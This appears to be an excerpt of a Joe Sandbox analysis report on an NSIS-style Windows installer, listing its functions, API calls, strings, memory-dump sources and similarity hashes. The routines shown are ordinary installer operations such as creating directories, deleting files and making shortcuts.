Instruction ID: 6ac59f4cb3fe35c1316d0bdd9a7bfda3bd496f009ebd6252a63c396af269f63e
Opcode Fuzzy Hash: f617a5e021c5b0a319d386adb8c185e40962a0be4c43712b9beeddd23e90c427
Instruction Fuzzy Hash: 17E08C32650118FFDB109EA69C84EE73B5CFB047A2F00C432BD55E5190DA30DA00EBA4

Function 004037F8 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00406064: CharNextW.USER32(?,*?|<>/":,00000000,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060C7
Part of subcall function 00406064: CharNextW.USER32(?,?,?,00000000), ref: 004060D6
Part of subcall function 00406064: CharNextW.USER32(?,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060DB
Part of subcall function 00406064: CharPrevW.USER32(?,?,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060EF

CreateDirectoryW.KERNELBASE(004E30C8,00000000,004E30C8,004E30C8,004E30C8,-00000002,00403A37), ref: 00403819

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID:
API String ID: 4115351271-0
Opcode ID: ec387b52da79c0d7c7db124e40c02042f93ac80872f0e6df2e3daec6660af043
Instruction ID: c72586207ca4fe3275e323c6ce7a55902ce0015f7edb1a19efdc0f2786dab76c
Opcode Fuzzy Hash: ec387b52da79c0d7c7db124e40c02042f93ac80872f0e6df2e3daec6660af043
Instruction Fuzzy Hash: 52D0921218293121C66237663D0ABCF195C4F92B2EB0280B7F942B61D69B6C4A9285EE

Function 00403DDB Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DED

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: bd6570ef2729c24474e20ae8e5d55f292f33ecedeb6df88af58882e0072056a2
Instruction ID: 85c9fcbfeeb581dd75f9c62538f5ff43d76368f59f1a6e3d2bff8e12452ff276
Opcode Fuzzy Hash: bd6570ef2729c24474e20ae8e5d55f292f33ecedeb6df88af58882e0072056a2
Instruction Fuzzy Hash: 0FC04C75644201BBDA108B509D45F077759AB90701F1584257615F50E0C674D550D62C

Function 00403368 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00403786,?,?,?,?,00000000,00403A73,?), ref: 00403376

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 4bc311ea945a84079b9d2f50dcaf6257f2c75df5904c01363540678bd5f9aa8d
Instruction ID: a45aac6c24818fd8413ddab5752014fb5f73d741524c96ff6ff4c62981ea4fba
Opcode Fuzzy Hash: 4bc311ea945a84079b9d2f50dcaf6257f2c75df5904c01363540678bd5f9aa8d
Instruction Fuzzy Hash: 83B01231640200FFEA214F50DE09F06BB21B794700F208430B350380F082711820EB0C

Function 00403DC4 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,004057E0), ref: 00403DD2

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 4d265d85d83b9aee7a2860bb21ac42a33598db5d2fcd0833c625a930327cbe25
Instruction ID: 19f7ed481b0b3084dfc48602985d3e47af739273f13ec77122cd0735a5794091
Opcode Fuzzy Hash: 4d265d85d83b9aee7a2860bb21ac42a33598db5d2fcd0833c625a930327cbe25
Instruction Fuzzy Hash: CCB01235181200BBDE514B00DE0AF867F62F7A8701F008574B305640F0C6B204E0DB09

Function 00403DB1 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,00405779), ref: 00403DBB

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: afebc9adcdbb38a0c5e5e33596f84c2f2140198a38245a29fea50a5d9e588109
Instruction ID: a171dc49094d5971c6211130fd655c06747b54d01a1b52cbafa865c71f5bacad
Opcode Fuzzy Hash: afebc9adcdbb38a0c5e5e33596f84c2f2140198a38245a29fea50a5d9e588109
Instruction Fuzzy Hash: 2CA001BA845500ABCA439B60EF0988ABA62BBA5701B11897AE6565103587325864EB19

Function 00403885 Relevance: 1.3, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(FFFFFFFF,00403AFD,?), ref: 00403890

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 983617adc3fb59bada791ca239273a70529ab93e183a396e050099d658997f71
Instruction ID: 859c8e5cf93c3f84440f38a6d8c6a0cb0ce917112422b96fb642ee91708591da
Opcode Fuzzy Hash: 983617adc3fb59bada791ca239273a70529ab93e183a396e050099d658997f71
Instruction Fuzzy Hash: 1BC01231504700D7E5206FB99D4EB043A54A74037DB544B7AF4F5F11F1C77C4645852D

Non-executed Functions

Function 004049A8 Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 470windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 004049BF
GetDlgItem.USER32(?,00000408), ref: 004049CC
GlobalAlloc.KERNEL32(00000040,?), ref: 00404A1B
LoadBitmapW.USER32(0000006E), ref: 00404A2E
SetWindowLongW.USER32(?,000000FC,Function_000048F8), ref: 00404A48
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A5A
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404A6E
SendMessageW.USER32(?,00001109,00000002), ref: 00404A84
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404A90
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404AA0
DeleteObject.GDI32(?), ref: 00404AA5
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404AD0
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404ADC
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B7D
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00404BA0
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404BB1
GetWindowLongW.USER32(?,000000F0), ref: 00404BDB
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404BEA
ShowWindow.USER32(?,00000005), ref: 00404BFB
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404CF9
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404D54
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404D69
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404D8D
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404DB3
ImageList_Destroy.COMCTL32(?), ref: 00404DC8
GlobalFree.KERNEL32(?), ref: 00404DD8
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404E48
SendMessageW.USER32(?,00001102,?,?), ref: 00404EF6
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00404F05
InvalidateRect.USER32(?,00000000,00000001), ref: 00404F25
ShowWindow.USER32(?,00000000), ref: 00404F75
GetDlgItem.USER32(?,000003FE), ref: 00404F80
ShowWindow.USER32(00000000), ref: 00404F87

Strings

N, xrefs: 00404C32
, xrefs: 00404F65
@, xrefs: 00404BBC
M, xrefs: 00404B6F

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $ @$M$N
API String ID: 1638840714-3479655940
Opcode ID: 232f7ad113cb9ac5efd1b23bb694dfa7ac126bc5f1dc1702430156d0733604ca
Instruction ID: ef4bce446953bc7ec7e60756d12a1063aab4f745b4df8f164389f1335a379dc2
Opcode Fuzzy Hash: 232f7ad113cb9ac5efd1b23bb694dfa7ac126bc5f1dc1702430156d0733604ca
Instruction Fuzzy Hash: 7B028DB090020AAFEF109F95CD45AAE7BB5FB84314F10417AF611BA2E1C7B89D91CF58

Function 00406CC7 Relevance: 31.7, APIs: 9, Strings: 9, Instructions: 190filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,004CF0A0), ref: 00406CE4
lstrcatW.KERNEL32(00467470,\*.*,00467470,?,-00000002,004E30C8,?,004CF0A0), ref: 00406D35
lstrcatW.KERNEL32(?,00409838,?,00467470,?,-00000002,004E30C8,?,004CF0A0), ref: 00406D55
lstrlenW.KERNEL32(?), ref: 00406D58
FindFirstFileW.KERNEL32(00467470,?), ref: 00406D6C
FindNextFileW.KERNEL32(?,00000010,000000F2,?), ref: 00406E4E
FindClose.KERNEL32(?), ref: 00406E5F

Strings

RMDir: RemoveDirectory failed("%s"), xrefs: 00406EDC
Delete: DeleteFile("%s"), xrefs: 00406DE8
ptF, xrefs: 00406D1A
\*.*, xrefs: 00406D2F
Delete: DeleteFile failed("%s"), xrefs: 00406E29
RMDir: RemoveDirectory on Reboot("%s"), xrefs: 00406EBF
RMDir: RemoveDirectory invalid input("%s"), xrefs: 00406E84
Delete: DeleteFile on Reboot("%s"), xrefs: 00406E0C
RMDir: RemoveDirectory("%s"), xrefs: 00406E9B

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: Delete: DeleteFile failed("%s")$Delete: DeleteFile on Reboot("%s")$Delete: DeleteFile("%s")$RMDir: RemoveDirectory failed("%s")$RMDir: RemoveDirectory invalid input("%s")$RMDir: RemoveDirectory on Reboot("%s")$RMDir: RemoveDirectory("%s")$\*.*$ptF
API String ID: 2035342205-1650287579
Opcode ID: a107dcf2f5cda8a7bb449344070620469a6265ca89df76249a653839e461c381
Instruction ID: e61cf0fe73e9c947a39cb72df690d6d83a08ee9d5dae9ef8ba60e8d8024aa79e
Opcode Fuzzy Hash: a107dcf2f5cda8a7bb449344070620469a6265ca89df76249a653839e461c381
Instruction Fuzzy Hash: 3E51D225604305AADB11AB71CC49A7F37B89F41728F22803FF803761D2DB7C49A1D6AE

Function 004044D1 Relevance: 30.0, APIs: 15, Strings: 2, Instructions: 300stringkeyboardCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F0), ref: 00404525
IsDlgButtonChecked.USER32(?,000003F0), ref: 00404533
GetDlgItem.USER32(?,000003FB), ref: 00404553
GetAsyncKeyState.USER32(00000010), ref: 0040455A
GetDlgItem.USER32(?,000003F0), ref: 0040456F
ShowWindow.USER32(00000000,00000008,?,00000008,000000E0), ref: 00404580
SetWindowTextW.USER32(?,?), ref: 004045AF
SHBrowseForFolderW.SHELL32(?), ref: 00404669
lstrcmpiW.KERNEL32(0046E220,00451D98,00000000,?,?), ref: 004046A6
lstrcatW.KERNEL32(?,0046E220), ref: 004046B2
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004046C2
CoTaskMemFree.OLE32(00000000), ref: 00404674

Part of subcall function 00405CB0: GetDlgItemTextW.USER32(00000001,00000001,00002004,00403FAD), ref: 00405CC3

Part of subcall function 00406064: CharNextW.USER32(?,*?|<>/":,00000000,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060C7
Part of subcall function 00406064: CharNextW.USER32(?,?,?,00000000), ref: 004060D6
Part of subcall function 00406064: CharNextW.USER32(?,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060DB
Part of subcall function 00406064: CharPrevW.USER32(?,?,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060EF

Part of subcall function 00403EA0: lstrcatW.KERNEL32(00000000,00000000,00476240,004D30A8,install.log,00405AC8,004D30A8,004D30A8,004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000,00000006), ref: 00403EBB

GetDiskFreeSpaceW.KERNEL32(0044DD90,?,?,0000040F,?,0044DD90,0044DD90,?,00000000,0044DD90,?,?,000003FB,?), ref: 00404785
MulDiv.KERNEL32(?,0000040F,00000400), ref: 004047A0

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00427176,74DF23A0,00000000), ref: 00406902

SetDlgItemTextW.USER32(00000000,00000400,0040A264), ref: 00404819

Strings

A, xrefs: 00404662
F, xrefs: 004046A0

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Item$CharText$Next$FreeWindowlstrcat$AsyncBrowseButtonCheckedDiskFolderPrevShowSpaceStateTaskVersionlstrcmpi
String ID: F$A
API String ID: 3347642858-1281894373
Opcode ID: daaa1e0cefc3b075cc9d96c46cb806b6c5f306674e01b7aa8aee38c956bc084c
Instruction ID: 610cab7253faed09e83e35c18a41c8795a2522a57bd741f73bb79fe4ae4f2c97
Opcode Fuzzy Hash: daaa1e0cefc3b075cc9d96c46cb806b6c5f306674e01b7aa8aee38c956bc084c
Instruction Fuzzy Hash: A3B181B1900209BBDB11AFA1CC85AAF7BB8EF45315F10843BFA05B72D1D77C9A418B59

Function 00406EFE Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 270filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406F22
ReadFile.KERNEL32(00000000,?,0000000C,?,00000000), ref: 00406F5C
ReadFile.KERNEL32(?,?,00000010,?,00000000), ref: 00406FD5
lstrcpynA.KERNEL32(?,?,00000005), ref: 00406FE1
lstrcmpA.KERNEL32(name,?), ref: 00406FF3
CloseHandle.KERNEL32(?), ref: 00407212

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

GetTTFNameString, xrefs: 00406F33
%s: failed opening file "%s", xrefs: 00406F38
name, xrefs: 00406FEB

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: File$Read$CloseCreateHandlelstrcmplstrcpynlstrlenwvsprintf
String ID: %s: failed opening file "%s"$GetTTFNameString$name
API String ID: 1916479912-1189179171
Opcode ID: f010b36bd41cc349b356d7a0090dd4afe09556d9e36f72f9254c82778cae22fc
Instruction ID: 0b41acfa2c3272d6dc61f6848418d9961a63ce1f0aee58dce5ac99f5834af97b
Opcode Fuzzy Hash: f010b36bd41cc349b356d7a0090dd4afe09556d9e36f72f9254c82778cae22fc
Instruction Fuzzy Hash: 8491CB70D1412DAADF05EBE5C9908FEBBBAEF58301F00406AF592F7290E2385A05DB75

Function 00406831 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 212stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00427176,74DF23A0,00000000), ref: 00406902
GetSystemDirectoryW.KERNEL32(0046E220,00002004), ref: 00406984

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

GetWindowsDirectoryW.KERNEL32(0046E220,00002004), ref: 00406997
lstrcatW.KERNEL32(0046E220,\Microsoft\Internet Explorer\Quick Launch), ref: 00406A11
lstrlenW.KERNEL32(0046E220,00445D80,?,00000000,00404FD5,00445D80,00000000,00427176,74DF23A0,00000000), ref: 00406A73

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406A0B
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406952
F, xrefs: 00406858
F, xrefs: 00406A7F

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Directory$SystemVersionWindowslstrcatlstrcpynlstrlen
String ID: F$ F$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 3581403547-1792361021
Opcode ID: 30c92c856c733ebf4e786737c731cc744bbcb1db4e86cdf6d89c5ce8018e8b94
Instruction ID: 94ababd57b57874809535cfc920d07d17cc92350817822ff6505e5e4c02fddf3
Opcode Fuzzy Hash: 30c92c856c733ebf4e786737c731cc744bbcb1db4e86cdf6d89c5ce8018e8b94
Instruction Fuzzy Hash: 9E71D6B1A00112ABDF20AF69CC44A7A3775AB55314F12C13BE907B66E0E73C89A1DB59

Function 004024FB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 133comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(0040AC30,?,00000001,0040AC10,?), ref: 0040257E

Strings

CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d, xrefs: 00402560

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: CreateInstance
String ID: CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d
API String ID: 542301482-1377821865
Opcode ID: 9902ece9f4b99e682490ae7949af093cffc61241cd73b0ba5a249ab4bbcbe8c9
Instruction ID: 17e7a05f0d3b91d3be5025a92c0a08315d4604efbe7233a371b14ee5b096337f
Opcode Fuzzy Hash: 9902ece9f4b99e682490ae7949af093cffc61241cd73b0ba5a249ab4bbcbe8c9
Instruction Fuzzy Hash: 9E416E74A00205BFCB04EFA0CC99EAE7B79EF48314B20456AF915EB3D1C679A941CB54

Function 004079A2 Relevance: .3, Instructions: 347COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
